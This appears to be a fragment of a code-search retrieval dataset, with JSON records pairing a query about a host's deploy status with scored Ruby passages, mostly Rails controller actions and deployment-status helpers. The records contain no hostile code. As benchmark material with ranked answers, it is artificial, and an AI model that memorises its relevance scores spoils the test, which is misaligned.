"text": "def index\n @jems = Jem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @jems }\n end\n end",
"title": ""
},
{
"docid": "b86a0883acfb40b4187dfa29249de0b5",
"score": "0.5493854",
"text": "def show\n @lenguage = Lenguage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @lenguage }\n end\n end",
"title": ""
},
{
"docid": "539fe712a06956f37a4e5c5c8237c9d5",
"score": "0.5493491",
"text": "def index\n @armor_types = ArmorType.all\n\n render json: @armor_types\n end",
"title": ""
},
{
"docid": "1816ab0441f5723f06cc34aeebafdb0a",
"score": "0.5492318",
"text": "def index\n @variations = Variation.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @variations }\n end\n end",
"title": ""
},
{
"docid": "b1267644c15d59dd80b531ee89e98bb2",
"score": "0.54871565",
"text": "def index\n @leaverolls = Leaveroll.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @leaverolls }\n end\n end",
"title": ""
},
{
"docid": "382f2189053ce6a75048ca50c7f66cc4",
"score": "0.54825604",
"text": "def index\n @modes = Mode.all\n end",
"title": ""
},
{
"docid": "382f2189053ce6a75048ca50c7f66cc4",
"score": "0.54825604",
"text": "def index\n @modes = Mode.all\n end",
"title": ""
},
{
"docid": "ab8b36e0e8eedd1067d8b58772370d6f",
"score": "0.5481548",
"text": "def index\n @stores = Store.all\n\n render json: @stores\n end",
"title": ""
},
{
"docid": "a05af84d1590878f10c03bfa23add87f",
"score": "0.54757833",
"text": "def show\n @glossary = Glossary.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @glossary }\n end\n end",
"title": ""
},
{
"docid": "061ed0b75fdb60e2530c13ad1e4efd4c",
"score": "0.5474886",
"text": "def index\n @worlds = World.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @worlds }\n end\n end",
"title": ""
},
{
"docid": "5fef5570401d74a26abc3d934b5f07af",
"score": "0.5474464",
"text": "def index\n @sentences = Sentence.all\n render json: @sentences\n end",
"title": ""
},
{
"docid": "3b97b13eaf1e5dd27f1a04d64ef558af",
"score": "0.5473392",
"text": "def index\r\n @edges = Edge.all\r\n\r\n respond_to do |format|\r\n format.html # index.html.erb\r\n format.json { render json: @edges }\r\n end\r\n end",
"title": ""
},
{
"docid": "420c650e46d58fe1b6ffa4bd386d0430",
"score": "0.5472061",
"text": "def set_modele\n @modele = Modele.find(params[:id])\n end",
"title": ""
},
{
"docid": "420c650e46d58fe1b6ffa4bd386d0430",
"score": "0.5472061",
"text": "def set_modele\n @modele = Modele.find(params[:id])\n end",
"title": ""
},
{
"docid": "f0371b9beddf0f8a065f57c7e7f4b7bd",
"score": "0.5470288",
"text": "def index\n render status: :ok, json: @lectures\n end",
"title": ""
},
{
"docid": "06537af19630b712d8413a7affe47b36",
"score": "0.54661644",
"text": "def index\n\t@municipalities = Municipality.all\n respond_to do |format|\n format.json { render json: @municipalities, status: :ok }\n end\nend",
"title": ""
},
{
"docid": "eebf7a5e1f638d09463f7c1cf7a4cc77",
"score": "0.5465783",
"text": "def index\n @models = models\n end",
"title": ""
},
{
"docid": "6650a4e6fdd7fc6462157a497da230d8",
"score": "0.5464808",
"text": "def show\n @loteo = Loteo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @loteo }\n end\n end",
"title": ""
},
{
"docid": "f2f81a155ef7cfc73592b52b5282ab58",
"score": "0.5459265",
"text": "def index\n @languages = Language.all.order(:id)\n render json: @languages\n end",
"title": ""
},
{
"docid": "74211693eede285a4787ade9584fea1c",
"score": "0.5458109",
"text": "def index\n @spells = Spell.all\n\n render json: @spells\n end",
"title": ""
},
{
"docid": "cb44ad97a72cc462f61c622a0146f2fe",
"score": "0.54560083",
"text": "def index\n @category_trees = CategoryTree.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @category_trees }\n end\n end",
"title": ""
},
{
"docid": "10368f1fab6e5388b0d01a954a837bea",
"score": "0.5455564",
"text": "def index\n @charisma_mods = CharismaMod.all\n\n render json: @charisma_mods\n end",
"title": ""
},
{
"docid": "ea1160ccde70c59a50822c01aa8e24e2",
"score": "0.54548264",
"text": "def index\n @explorers = Explorer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @explorers }\n end\n end",
"title": ""
},
{
"docid": "c188204e2896acb9ecbe54058eaa515f",
"score": "0.5452906",
"text": "def index\n @chores = Chore.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @chores }\n end\n end",
"title": ""
},
{
"docid": "1b1d296fdb38a4fb447218748b39276e",
"score": "0.5451429",
"text": "def index\n @interpretations = Interpretation.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @interpretations }\n end\n end",
"title": ""
},
{
"docid": "c6f8a05ff2fb2a82799996a9f4f2499b",
"score": "0.5451375",
"text": "def index\n @tromples = Tromple.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tromples }\n end\n end",
"title": ""
},
{
"docid": "5f27a9b25e20e579758429450f02dee6",
"score": "0.54511815",
"text": "def index\n @entity_schemas = EntitySchema.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @entity_schemas }\n end\n end",
"title": ""
},
{
"docid": "1c47946dc140bb146739d3abf8c4c993",
"score": "0.5451087",
"text": "def index\n @programmers = Programmer.all\n render json: @programmers\n end",
"title": ""
},
{
"docid": "3414f1c63db4e4aa38ba8270f383f0ff",
"score": "0.5450361",
"text": "def index\n @lacs = Lac.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @lacs }\n end\n end",
"title": ""
}
] |
a9d35f1ae80e420e6f36bfd75713fd84
|
Fetches an info message concerning the host's deploy status
|
[
{
"docid": "c3ec03a927311b34564f0de6d3bebb11",
"score": "0.0",
"text": "def display_message\n if !verified?\n { message: 'Your host needs to be verified by an admin', severity: :alert }\n elsif pending?\n { message: 'client not configured yet', severity: :alert }\n elsif configured? || dispatched?\n { message: 'client not deployed to Bacula', severity: :alert }\n elsif updated? || redispatched?\n { message: 'client configuration changed, deploy needed', severity: :alert }\n elsif for_removal?\n { message: 'pending client configuration withdraw', severity: :error }\n elsif inactive?\n { message: 'client disabled', severity: :alert }\n elsif blocked?\n { message: 'client disabled by admin.', severity: :error }\n end\n end",
"title": ""
}
] |
[
{
"docid": "8cb0c7ed4585700fb44d0b6be9f960cf",
"score": "0.65393656",
"text": "def show\n @deploy = Hubstats::Deploy.includes(:repo, :pull_requests).find(params[:id])\n repo = @deploy.repo\n @pull_requests = @deploy.pull_requests.limit(50)\n @pull_request_count = @pull_requests.length\n @stats_row_one = {\n pull_count: @pull_request_count,\n net_additions: @deploy.find_net_additions,\n comment_count: @deploy.find_comment_count,\n additions: @deploy.total_changes(:additions),\n deletions: @deploy.total_changes(:deletions)\n }\n end",
"title": ""
},
{
"docid": "1a32631015e7a0c131cc27a399b8be27",
"score": "0.64627206",
"text": "def deploy_details options=nil\n details = {}\n\n with_server_apps options, :msg => \"Getting deploy info...\" do |server_app|\n details[server_app.shell.host] = server_app.deploy_details\n end\n\n details\n end",
"title": ""
},
{
"docid": "028cbce7ab08ea4293ae22f7152748af",
"score": "0.63876915",
"text": "def _get_task_deploy_status_from_info(info)\n \n # If check env was not pass.\n for i in info\n return [[\"jobs\", -2, \"thor deploy check_env failed!\"]] if i[0] == [\"fail_mod\", \"check_env\"]\n end\n \n mods = []\n # Collect result\n result_d = {}\n for i in info\n mods = i[0][1].split(\",\") if i[0][0] == \"jobs\"\n if mods\n result_d[\"jobs\"] = mods\n for mod in mods\n result_d[mod] = i[0][0] if i[0][1] == mod\n end\n end\n end\n\n mods.each {|element| result_d[element] = \"waiting\" if not result_d.has_key?(element)}\n \n # -1 means no mod detail presents.\n result_l = [[\"jobs\", mods.length == 0 ? -1 : mods.length]]\n # result_l finally like :\n # [['jobs', 3], ['xbox', 'succ']]\n for mod in mods\n _status = result_d[mod]\n if _status == \"start_mod\"\n result_l << [mod,\"start\"]\n elsif _status == \"deploying\"\n result_l << [mod,\"deploying\"]\n elsif _status == \"succ_mod\"\n result_l << [mod,\"succ\"]\n elsif _status == \"fail_mod\"\n result_l << [mod,\"fail\"]\n else\n result_l << [mod,\"waiting\"]\n end\n end\n return result_l\n end",
"title": ""
},
{
"docid": "047ff5f887a4361ea26c1711a489969a",
"score": "0.6343281",
"text": "def status_message\n STATUS_MESSAGES[self.status.to_sym] || \"project status is unknown\"\n end",
"title": ""
},
{
"docid": "46f0a994c51ab01481709ea4ccbed10b",
"score": "0.6312929",
"text": "def getDeployStatus()\n r_notask = [[\"jobs\", 0, \"No task running.\"]]\n\n lckself = File.new __FILE__\n if lckself.flock File::LOCK_EX | File::LOCK_NB\n lckself.flock File::LOCK_UN\n\n Logger.info \"\\n#{LOG_SYMBOL*31} getDeployStatus #{LOG_SYMBOL*30} \\nGet global deploy status succ. Get lock and release LOCK #{__FILE__} succ. Result : #{r_notask}\"\n return r_notask\n\n else\n task_id = File.readlines(DEPLOY_LCK)[0].strip\n result_list = getDeployTaskStatus(task_id)\n\n Logger.info \"Get global deploy status succ. Get LOCK #{__FILE__} fail. Result : #{result_list}\"\n\n return result_list\n end\n Logger.info \"\\n#{LOG_SYMBOL*29} getDeployStatus END #{LOG_SYMBOL*28}\"\n end",
"title": ""
},
{
"docid": "e53876ce82ce42ef18bc4514e51b483b",
"score": "0.62655115",
"text": "def check_deployment(deploy_info)\n deploy_info[\"result\"].select{ |_p,v| v[\"state\"] == \"KO\"}.keys\n end",
"title": ""
},
{
"docid": "c6c518a379d80a87c0523d0bcee7af32",
"score": "0.62635785",
"text": "def system_status\n response = execute_get(\"/status/system\")\n Message.from_hash(decode(response))\n end",
"title": ""
},
{
"docid": "18fefdb7fef756668dea70eec544d073",
"score": "0.62633574",
"text": "def notify\n deploy_struct = {\n \"awsname\" => @mu_name,\n \"dns\" => cloud_desc.dns_name\n }\n return deploy_struct\n end",
"title": ""
},
{
"docid": "2c23db3bc01887f3f9208976be9dd2a9",
"score": "0.62579423",
"text": "def deployment_info(config)\n # check for files in DATA_DIR if does not exists, we can assume user hasn't deployed a cluster yet\n unless YamlUtils.parse_yaml(NODES_FILE).is_a? Hash\n puts 'No cluster details found'.red\n puts <<-EOS.undent\n Deploy a cluster by running `ankus deploy`\n EOS\n abort\n end\n hiera_data = YamlUtils.parse_yaml(HIERA_DATA_FILE)\n cloud = create_cloud_obj(config) if config[:install_mode] == 'cloud'\n hbase_deploy = if config[:hbase_deploy] == 'disabled'\n 'disabled'\n else\n 'enabled'\n end\n mapreduce = if config[:hadoop_deploy] != 'disabled' and config[:hadoop_deploy][:mapreduce] != 'disabled'\n config[:hadoop_deploy][:mapreduce][:type]\n else\n 'disabled'\n end\n cassandra_deploy = config[:cassandra_deploy] != 'disabled' ? 'enabled' : 'disabled'\n storm_deploy = config[:storm_deploy] != 'disabled' ? 'enabled' : 'disabled'\n kafka_deploy = config[:kafka_deploy] != 'disabled' ? 'enabled' : 'disabled'\n solr_deploy = config[:solr_deploy] != 'disabled' ? 'enabled' : 'disabled'\n\n (cluster_info ||= '') << 'Ankus Cluster Info'.yellow_on_cyan.bold.underline << \"\\n\"\n if config[:hadoop_deploy] != 'disabled'\n cluster_info << \"\\r\" << ' #'.green << \" Hadoop High Availability Configuration:\" + \n \" #{config[:hadoop_deploy][:hadoop_ha]} \\n\"\n cluster_info << \"\\r\" << ' #'.green << \" MapReduce Framework: #{mapreduce} \\n\"\n else\n cluster_info << \"\\r\" << ' #'.green << \" Hadoop Deploy: disabled \\n\"\n end\n cluster_info << \"\\r\" << ' #'.green << \" HBase Deploy: #{hbase_deploy} \\n\"\n cluster_info << \"\\r\" << ' #'.green << \" Cassandra Deploy: #{cassandra_deploy} \\n\"\n cluster_info << \"\\r\" << ' #'.green << \" Storm Deploy: #{storm_deploy} \\n\"\n cluster_info << \"\\r\" << ' #'.green << \" Kafka Deploy: #{kafka_deploy} \\n\"\n cluster_info << \"\\r\" << ' #'.green << \" Solr Deploy: #{solr_deploy} \\n\"\n cluster_info << \"\\r\" << ' #'.green << \" Security: #{config[:security]} \\n\"\n cluster_info << \"\\r\" << ' #'.green << \" Monitoring(with ganglia): #{config[:monitoring]} \\n\"\n cluster_info << \"\\r\" << ' #'.green << \" Altering(with nagios): #{config[:alerting]} \\n\"\n cluster_info << \"\\r\" << ' #'.green << \" Log Aggregation(with Logstash): #{config[:log_aggregation]} \\n\"\n\n (urls ||= '') << 'Access URL(s)'.bold.underline << \"\\n\"\n\n cluster_info << \"\\n\"\n cluster_info << \"\\r\" << 'Nodes in the cluster'.bold.underline << \"\\n\"\n\n if config[:install_mode] == 'cloud'\n #cloud deployment mode\n cloud_instances = YamlUtils.parse_yaml(NODES_FILE)\n\n # controller, nagios, ganglia and logstash\n controller = find_fqdn_for_tag(cloud_instances, 'controller').first\n cluster_info << \"\\r\" << ' *'.cyan << \" Controller: #{controller} \\n\"\n urls << \"\\r\" << ' %'.black << \" Ganglia: http://#{controller}/ganglia \\n\" if config[:monitoring] == 'enabled'\n if config[:cloud_os_type].downcase == 'centos'\n urls << \"\\r\" << ' %'.black << \" Nagios: http://#{controller}/nagios \\n\" if config[:alerting] == 'enabled'\n elsif config[:cloud_os_type].downcase == 'ubuntu'\n urls << \"\\r\" << ' %'.black << \" Nagios: http://#{controller}/nagios3 \\n\" if config[:alerting] == 'enabled'\n end\n urls << \"\\r\" << ' %'.black << \" LogStash: http://#{controller}:5601 \\n\" if config[:log_aggregation] == 'enabled'\n\n if config[:hadoop_deploy] != 'disabled'\n if config[:hadoop_deploy][:hadoop_ha] == 'enabled'\n cluster_info << \"\\r\" << ' *'.cyan << \" Namenode(s): \\n\"\n nns = find_fqdn_for_tag(cloud_instances, 'namenode')\n nns.each do |k, v|\n cluster_info << \"\\r\" << \"\\t #{k.capitalize}: #{v.first} \\n\"\n urls << \"\\r\" << ' %'.black << \" #{k.capitalize}: http://#{v.first}:50070 \\n\"\n end\n else\n namenode = cloud.find_fqdn_for_tag(cloud_instances, 'namenode').first\n snn = find_fqdn_for_tag(cloud_instances, 'secondarynamenode').first\n cluster_info << \"\\r\" << ' *'.cyan << \" Namenode: #{namenode}\\n\"\n cluster_info << \"\\r\" << ' *'.cyan << \" Secondary Namenode: #{snn}\\n\"\n urls << \"\\r\" << ' %'.black << \" Namenode: http://#{namenode}:50070 \\n\"\n end\n if config[:hadoop_deploy][:mapreduce] != 'disabled'\n jt = find_fqdn_for_tag(cloud_instances, 'jobtracker').first\n if mapreduce == 'mr1'\n cluster_info << \"\\r\" << ' *'.cyan << \" MapReduce Master: #{jt} \\n\"\n urls << \"\\r\" << ' %'.black << \" MapReduce Master: http://#{jt}:50030 \\n\"\n else\n cluster_info << \"\\r\" << ' *'.cyan << \" Resource Manager: #{jt} \\n\"\n urls << \"\\r\" << ' %'.black << \" Resource Manager: http://#{jt}:8088 \\n\"\n urls << \"\\r\" << ' %'.black << \" Job History Server: http://#{jt}:19888 \\n\"\n end \n #hadoop_ecosystem\n if config[:hadoop_deploy][:hadoop_ecosystem] and config[:hadoop_deploy][:hadoop_ecosystem].include?('oozie')\n urls << \"\\r\" << ' %'.black << \" Oozie Console: http://#{jt}:11000/oozie \\n\"\n end\n end\n if config[:hadoop_deploy][:hadoop_ha] == 'enabled' or config[:hbase_deploy] != 'disabled'\n if config[:hadoop_deploy][:hadoop_ha] == 'enabled'\n cluster_info << \"\\r\" << ' *'.cyan << \" Journal Quorum & ZooKeeper Quoram: \\n\"\n else\n cluster_info << \"\\r\" << ' *'.cyan << \" ZooKeeper Quoram: \\n\"\n end\n zks = find_fqdn_for_tag(cloud_instances, 'zookeeper')\n zks.each do |k, v|\n cluster_info << \"\\r\" << \"\\t #{k.capitalize}: #{v.first} \\n\"\n end\n end\n end\n if config[:hbase_deploy] != 'disabled'\n hms = find_fqdn_for_tag(cloud_instances, 'hbasemaster')\n hms.each do |k, v|\n cluster_info << \"\\r\" << ' *'.cyan << \" #{k.capitalize}: #{v.first} \\n\"\n end\n urls << \"\\r\" << ' %'.black << \" HBaseMaster: \" + \n \"http://#{Hash[hms.select {|k,v| k.include? 'hbasemaster1'}].values.flatten.first}:60010 \\n\"\n end\n if storm_deploy != 'disabled'\n stn = find_fqdn_for_tag(cloud_instances, 'stormnimbus').first\n cluster_info << \"\\r\" << ' *'.cyan << \" Storm Master: #{stn} \\n\"\n urls << \"\\r\" << ' %'.black << \" Storm UI: http://#{stn}:8080 \\n\"\n end\n if config[:solr_deploy] != 'disabled'\n solr_nodes = find_fqdn_for_tag(cloud_instances, 'solr')\n urls << \"\\r\" << ' %'.black << \" Solr Admin: http://#{solr_nodes.sample}:8983/solr \\n\"\n end \n if options[:extended]\n if config[:hadoop_deploy] != 'disabled' or config[:hbase_deploy] != 'disabled'\n cluster_info << \"\\r\" << ' *'.cyan << \" Slaves: \\n\"\n find_fqdn_for_tag(cloud_instances, 'slaves').each_with_index do |k, i|\n cluster_info << \"\\r\" << \"\\t\" << '- '.cyan << \"slave#{i+1}: #{k}\" << \"\\n\"\n end\n end\n if cassandra_deploy != 'disabled'\n cluster_info << \"\\r\" << ' *'.cyan << \" Cassandra Nodes: \\n\"\n find_fqdn_for_tag(cloud_instances, 'cassandra').each_with_index do |k, i|\n cluster_info << \"\\r\" << \"\\t\" << '- '.cyan << \"cassandra#{i+1}: #{k}\" << \"\\n\"\n end\n end\n if storm_deploy != 'disabled'\n cluster_info << \"\\r\" << ' *'.cyan << \" Storm Supervisor Nodes: \\n\"\n find_fqdn_for_tag(cloud_instances, 'stormworker').each_with_index do |k, i|\n cluster_info << \"\\r\" << \"\\t\" << \"- \".cyan << \"stormworker#{i+1}: #{k}\" << \"\\n\"\n end\n end\n if kafka_deploy != 'disabled'\n cluster_info << \"\\r\" << ' *'.cyan << \" Kafka Nodes: \\n\"\n find_fqdn_for_tag(cloud_instances, 'kafka').each_with_index do |k, i|\n cluster_info << \"\\r\" << \"\\t\" << \"- \".cyan << \"kafka#{i+1}: #{k}\" << \"\\n\"\n end \n end\n if solr_deploy != 'disabled'\n cluster_info << \"\\r\" << ' *'.cyan << \" Solr Nodes: \\n\"\n find_fqdn_for_tag(cloud_instances, 'solr').each_with_index do |k, i|\n cluster_info << \"\\r\" << \"\\t\" << \"- \".cyan << \"solr#{i+1}: #{k}\" << \"\\n\"\n end\n end\n end\n else\n #local deployment mode\n cluster_info << \"\\r\" << ' *'.cyan << \" Controller: #{config[:controller]}\\n\"\n if config[:monitoring] == 'enabled'\n urls << \"\\r\" << ' %'.black << \" Ganglia: http://#{config[:controller]}/ganglia \\n\"\n end\n if config[:alerting] == 'enabled'\n if hiera_data['nagios_server_ostype'].downcase == 'centos'\n urls << \"\\r\" << ' %'.black << \" Nagios: http://#{config[:controller]}/nagios \\n\"\n elsif hiera_data['nagios_server_ostype'].downcase == 'ubuntu'\n urls << \"\\r\" << ' %'.black << \" Nagios: http://#{config[:controller]}/nagios3 \\n\"\n end\n end\n if config[:log_aggregation] == 'enabled'\n urls << \"\\r\" << ' %'.black << \" LogStash: http://#{config[:controller]}:5601 \\n\"\n end\n\n if config[:hadoop_deploy] != 'disabled'\n if config[:hadoop_deploy][:hadoop_ha] == 'enabled'\n cluster_info << \"\\r\" << ' *'.cyan << \" Namenode(s): \\n\"\n cluster_info << \"\\r\" << \"\\t - Active Namenode: #{config[:hadoop_deploy][:hadoop_namenode].first} \\n\"\n cluster_info << \"\\r\" << \"\\t - Standby Namenode: #{config[:hadoop_deploy][:hadoop_namenode].last} \\n\"\n urls << \"\\r\" << ' %'.black << \" Active Namenode: \" + \n \"http://#{config[:hadoop_deploy][:hadoop_namenode].first}:50070 \\n\"\n urls << \"\\r\" << ' %'.black << \" Standby Namenode:\" + \n \" http://#{config[:hadoop_deploy][:hadoop_namenode].last}:50070 \\n\"\n cluster_info << \"\\r\" << ' *'.cyan << \" Journal Quorum: \\n\"\n config[:hadoop_deploy][:journal_quorum].each do |jn|\n cluster_info << \"\\r\" << \"\\t - #{jn}\\n\"\n end\n else\n cluster_info << \"\\r\" << ' *'.cyan << \" Namenode: #{config[:hadoop_deploy][:hadoop_namenode].first}\\n\"\n cluster_info << \"\\r\" << ' *'.cyan << \" Secondary Namenode:\" + \n \" #{config[:hadoop_deploy][:hadoop_secondarynamenode]}\\n\"\n urls << \"\\r\" << ' %'.black << \" Namenode: http://#{config[:hadoop_deploy][:hadoop_namenode].first}:50070 \\n\"\n end\n if config[:hadoop_deploy][:hadoop_ha] == 'enabled' and config[:hbase_deploy] != 'disabled'\n cluster_info << \"\\r\" << ' *'.cyan << \" Zookeeper Quorum: \\n\"\n config[:zookeeper_quorum].each do |zk|\n cluster_info << \"\\r\"<< \"\\t - #{zk} \\n\"\n end\n end\n if config[:hadoop_deploy][:mapreduce] != 'disabled'\n cluster_info << \"\\r\" << ' *'.cyan << \" MapReduce Master: #{config[:hadoop_deploy][:mapreduce][:master]} \\n\"\n end\n end\n if config[:hbase_deploy] != 'disabled'\n cluster_info << \"\\r\" << ' *'.cyan << \" Hbase Master: #{config[:hbase_deploy][:hbase_master].join(',')} \\n\"\n urls << \"\\r\" << ' %'.black << \" Hbase Master: http://#{config[:hbase_deploy][:hbase_master].first}:60010 \\n\"\n end\n if config[:storm_deploy] != 'disabled'\n cluster_info << \"\\r\" << ' *'.cyan << \" Storm Master: #{config[:storm_deploy][:storm_master]} \\n\"\n urls << \"\\r\" << ' %'.black << \" Hbase Master: http://#{config[:storm_deploy][:storm_master]}:8080 \\n\"\n end\n if config[:solr_deploy] != 'disabled'\n urls << \"\\r\" << ' %'.black << \"Solr Admin: http://#{config[:solr_deploy][:solr_nodes].sample}:8983/solr \\n\"\n end\n if options[:extended]\n cluster_info << \"\\r\" << ' *'.cyan << \" Slaves: \\n\"\n config[:slave_nodes].each do |slave|\n cluster_info << \"\\r\" << \"\\t\" << '- '.cyan << slave << \"\\n\"\n end\n if config[:cassandra_deploy] != 'disabled'\n cluster_info << \"\\r\" << ' *'.cyan << \" Cassandra Node(s): \\n\"\n config[:cassandra_deploy][:cassandra_nodes].each do |cn|\n cluster_info << \"\\r\" << \"\\t\" << '- '.cyan << cn << \"\\n\"\n end\n end\n if config[:storm_deploy] != 'disabled'\n cluster_info << \"\\r\" << ' *'.cyan << \" Storm Supervisors: \\n\"\n config[:storm_deploy][:storm_supervisors].each do |cn|\n cluster_info << \"\\r\" << \"\\t\" << '- '.cyan << cn << \"\\n\"\n end\n urls << \"\\r\" << ' %'.black << \" Storm Master: http://#{config[:storm_deploy][:storm_master]}:8080\" \n end\n if config[:kafka_deploy] != 'disabled'\n cluster_info << \"\\r\" << ' *'.cyan << \" Kafka Brokers: \\n\"\n config[:kafka_deploy][:kafka_brokers].each do |cn|\n cluster_info << \"\\r\" << \"\\t\" << '- '.cyan << cn << \"\\n\"\n end \n # cluster_info << \"\\r\" << ' *'.cyan << \" Kafka Node(s): \\n\"\n # config[:kafka_deploy][:kafka_nodes].each do |cn|\n # cluster_info << \"\\r\" << \"\\t\" << '- '.cyan << cn << \"\\n\"\n # end \n end\n if config[:solr_deploy] != 'disabled'\n config[:solr_deploy][:solr_nodes].each do |sn|\n cluster_info << \"\\r\" << \"\\t\" << '- '.cyan << sn << \"\\n\"\n end\n end \n end\n end\n cluster_info << \"\\n\"\n (login_info ||= '') << \"\\r\" << 'Login Information'.underline << \"\\n\"\n login_info << \"\\r\" << ' *'.cyan << \" ssh into nodes using: ankus ssh --role <role> \\n\" <<\n \"\\r\\t Ex: ankus ssh --role controller\\n\"\n if config[:install_mode] == 'cloud'\n if config[:cloud_platform] == 'aws'\n username = config[:cloud_os_type].downcase == 'centos' ? 'root' : 'ubuntu'\n login_info << \"\\r\" << \" (or) using `ssh -i ~/.ssh/#{config[:cloud_credentials][:aws_key]}\" + \n \" #{username}@[host]`\\n\"\n elsif config[:cloud_platform] == 'rackspace'\n login_info << \"\\r\" << \" (or) using `ssh -i #{config[:cloud_credentials][:rackspace_ssh_key]} root@[host]`\\n\"\n end\n else\n username = config[:ssh_user]\n login_info << \"\\r\" << \" (or) using `ssh -i #{config[:ssh_key]} #{username}@[host]`\\n\"\n end\n puts\n puts \"\\r#{cluster_info.squeeze(' ')}\"\n puts \"\\r#{urls.squeeze(' ')}\" if options[:extended]\n puts if options[:extended]\n puts \"\\r#{login_info.squeeze(' ')}\"\n puts\n end",
"title": ""
},
{
"docid": "9fb496a9b4eae4b1d36138728dc8e519",
"score": "0.6256724",
"text": "def notify\n deploy_struct = MU.structToHash(cloud_desc)\n deploy_struct['cloud_id'] = @mu_name\n deploy_struct[\"region\"] = @region\n if @config['flavor'] == \"EKS\"\n deploy_struct[\"max_pods\"] = @config['kubernetes']['max_pods'].to_s\n# XXX if FargateKS, get the Fargate Profile artifact\n end\n return deploy_struct\n end",
"title": ""
},
{
"docid": "348b56f869c539206cd95abfa279889c",
"score": "0.6255019",
"text": "def notify\n deploy_struct = MU.structToHash(cloud_desc, stringify_keys: true)\n deploy_struct['cloud_id'] = @cloud_id\n deploy_struct[\"region\"] ||= @region\n deploy_struct[\"db_name\"] ||= @config['db_name']\n deploy_struct\n end",
"title": ""
},
{
"docid": "8fdaf6f852417910e0afb8d332b641a0",
"score": "0.62523293",
"text": "def host_result_status_text(object)\n if (!object.is_a?(HostResult))\n return nil\n end\n \n if (object.status == HostResult::STATUS_OK)\n return \"<strong class='text-success'>#{t(\"services.status.ok\").upcase}</strong>\".html_safe\n elsif (object.status == HostResult::STATUS_ERROR)\n return \"<strong class='text-danger'>#{t(\"services.status.error\").upcase}</strong>\".html_safe\n elsif (object.status == HostResult::STATUS_INACTIVE)\n return \"<strong class='text-info'>#{t(\"services.status.inactive\").upcase}</strong>\".html_safe\n end\n \n return \"<strong class='text-info'>#{t(\"services.status.unknown\").upcase}</strong>\".html_safe\n end",
"title": ""
},
{
"docid": "345cda394d73109060a3c2dc2f77d964",
"score": "0.6244963",
"text": "def status_message\n return \"build status is unknown\" if self.status.blank?\n STATUS_MESSAGES[self.status.to_sym] || \"build status is unknown\"\n end",
"title": ""
},
{
"docid": "95ba5a1373eb4efac5d0ab05bedb368c",
"score": "0.6207591",
"text": "def status\n response = nexus.get(nexus_url(\"service/local/status\"))\n case response.status\n when 200\n doc = REXML::Document.new(response.content).elements[\"/status/data\"]\n data = Hash.new\n data['app_name'] = doc.elements[\"appName\"].text\n data['version'] = doc.elements[\"version\"].text\n data['edition_long'] = doc.elements[\"editionLong\"].text\n data['state'] = doc.elements[\"state\"].text\n data['started_at'] = doc.elements[\"startedAt\"].text\n data['base_url'] = doc.elements[\"baseUrl\"].text\n return data\n when 401\n raise PermissionsException\n when 503\n raise CouldNotConnectToNexusException\n else\n raise UnexpectedStatusCodeException.new(response.status)\n end\n end",
"title": ""
},
{
"docid": "855259a30081dcdb3cdb6fde1e8fac44",
"score": "0.61995935",
"text": "def checkDeployStatus(statusId, includeDetails)\r\n \texpanded =\t'<checkDeployStatus xmlns=\"http://soap.sforce.com/2006/04/metadata\">' +\r\n \t\t\t\t\t'<asyncProcessId>' + statusId + '</asyncProcessId>' +\r\n \t\t\t\t\t'<includeDetails>' + includeDetails + '</includeDetails>' + \r\n \t '</checkDeployStatus>'\r\n \t\r\n \tcall_remote(expanded) \r\n end",
"title": ""
},
{
"docid": "851298d427feb682d5dd5fb0b3e63808",
"score": "0.61745495",
"text": "def last_deployment_status(_user, deployment_url)\n return nil if deployment_url.include? \"api_watchdog\"\n\n {\n state: 'success'\n }\n end",
"title": ""
},
{
"docid": "9b8674c520b434072d6cfd94e202d992",
"score": "0.61606115",
"text": "def notify\n return nil if !cloud_desc(use_cache: false)\n deploy_struct = MU.structToHash(cloud_desc, stringify_keys: true)\n tags = MU::Cloud::AWS.elasticsearch(region: @region, credentials: @credentials).list_tags(arn: arn).tag_list\n deploy_struct['tags'] = tags.map { |t| { t.key => t.value } }\n if deploy_struct['endpoint']\n deploy_struct['kibana'] = deploy_struct['endpoint']+\"/_plugin/kibana/\"\n elsif deploy_struct['endpoints']\n deploy_struct['kibana'] = {}\n deploy_struct['endpoints'].each_pair { |k, v|\n deploy_struct['kibana'][k] = v+\"/_plugin/kibana/\"\n }\n end\n deploy_struct['domain_name'] ||= @config['domain_name'] if @config['domain_name']\n deploy_struct\n end",
"title": ""
},
{
"docid": "ceb529c79a82c0362121429911b62e26",
"score": "0.61575794",
"text": "def notify\n deploy_struct = {\n \"ok_actions\" => @config[\"ok_actions\"],\n \"alarm_actions\" => @config[\"alarm_actions\"],\n \"insufficient_data_actions\" => @config[\"no_data_actions\"],\n \"metric_name\" => @config[\"metric_name\"],\n \"namespace\" => @config[\"namespace\"],\n \"statistic\" => @config[\"statistic\"],\n \"dimensions\" => @config[\"dimensions\"],\n \"period\" => @config[\"period\"],\n \"unit\" => @config[\"unit\"],\n \"evaluation_periods\" => @config[\"evaluation_periods\"],\n \"threshold\" => @config[\"threshold\"],\n \"comparison_operator\" => @config[\"comparison_operator\"]\n }\n return deploy_struct\n end",
"title": ""
},
{
"docid": "95eae7afa1c17ae5534ff58df32c9049",
"score": "0.61547244",
"text": "def poll_for_deploy_state\n debug \"Entering deploy state polling\"\n while (not deployment_completed?) && (not retry_exceeded?)\n if has_task_failures?\n warn \"Task failures have occurred during the deploy attempt - this deploy may not succeed\"\n sleep 1\n increment_retry\n else\n debug \"Deploy still in progress with no task failures; sleeping and retrying\"\n sleep 1\n increment_retry\n end\n end\n \n # We bailed because we exceeded retry or the deploy completed, determine\n # which of these states it is\n deployment_completed? ? :complete : :retry_exceeded\n end",
"title": ""
},
{
"docid": "2f47a47524250813f557916d6600ea7b",
"score": "0.6136916",
